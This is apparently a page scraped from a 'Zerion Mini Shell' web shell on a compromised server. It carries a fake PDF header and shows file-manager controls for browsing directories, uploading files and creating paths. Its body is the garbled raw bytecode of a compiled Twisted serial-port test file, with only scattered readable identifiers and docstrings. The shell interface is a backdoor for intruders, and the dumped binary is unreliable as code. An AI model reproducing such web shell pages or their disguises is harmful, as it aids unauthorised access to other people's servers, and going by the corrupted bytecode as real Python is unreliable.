%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/lib/python3/dist-packages/twisted/internet/test/__pycache__/
Upload File :
Create Path :
Current File : //usr/lib/python3/dist-packages/twisted/internet/test/__pycache__/test_serialport.cpython-312.pyc

�

Ϫ�f����dZddlmZddlmZddlmZddlmZ	ddl	m
ZeZ
Gd�d	�Z
Gd
�dej�Zy#e$rdZ
Y�)wxYw)z+
Tests for L{twisted.internet.serialport}.
�)�ConnectionDone)�Protocol)�Failure)�unittest)�
serialportNc��eZdZdZd�Zd�Zy)�	DoNothingz.
    Object with methods that do nothing.
    c��y�N�)�self�args�kwargss   �G/usr/lib/python3/dist-packages/twisted/internet/test/test_serialport.py�__init__zDoNothing.__init__s���c��d�S)Nc��yrr)rrs  r�<lambda>z'DoNothing.__getattr__.<locals>.<lambda>s�rr)r
�attrs  r�__getattr__zDoNothing.__getattr__s��+�+rN)�__name__�
__module__�__qualname__�__doc__rrrrrr	r	s���
�,rr	c��eZdZdZe�dZd�Zy)�SerialPortTestszt
    Minimal testing for Twisted's serial port support.

    See ticket #2462 for the eventual full test suite.
    Nz%Serial port support is not available.c�(��Gd�dtj�}g�G�fd�dt�}||�dt���}|j	�dg�tt
��}|j|�|j	�dd|fg�y	)
zr
        C{connectionMade} and C{connectionLost} are called on the protocol by
        the C{SerialPort}.
        c��eZdZeZd�Zy)�@SerialPortTests.test_connectionMadeLost.<locals>.DummySerialPortc��yrr)r
s r�_finishPortSetupzQSerialPortTests.test_connectionMadeLost.<locals>.DummySerialPort._finishPortSetup5s��rN)rrrr	�_serialFactoryr"rrr�DummySerialPortr 2s��&�N�
rr$c�"��eZdZ�fd�Z�fd�Zy)�?SerialPortTests.test_connectionMadeLost.<locals>.SerialProtocolc�(���jd�y)N�connectionMade��append)r
�eventss �rr(zNSerialPortTests.test_connectionMadeLost.<locals>.SerialProtocol.connectionMade;s����
�
�.�/rc�,���jd|f�y)N�connectionLostr))r
�reasonr+s  �rr-zNSerialPortTests.test_connectionMadeLost.<locals>.SerialProtocol.connectionLost>s����
�
�/��8�9rN)rrrr(r-)r+s�r�SerialProtocolr&:s
���
0�
:rr/�)�reactorr(r-N)r�
SerialPortrr	�assertEqualrrr-)r
r$r/�port�fr+s     @r�test_connectionMadeLostz'SerialPortTests.test_connectionMadeLost+s����	�j�3�3�	���	:�X�	:��~�/��Y�[�I������"2�!3�4�
�N�$�%�����A������"2�5E�q�4I�!J�Kr)rrrrr�skipr6rrrrr!s�����6��Lrr)r�twisted.internet.errorr�twisted.internet.protocolr�twisted.python.failurer�
twisted.trialr�twisted.internetr�_serialport�ImportErrorr	�TestCaserrrr�<module>r@s[���2�.�*�"��:��J�	,�	,�'L�h�'�'�'L��%���J��s�A�A�
A

Zerion Mini Shell 1.0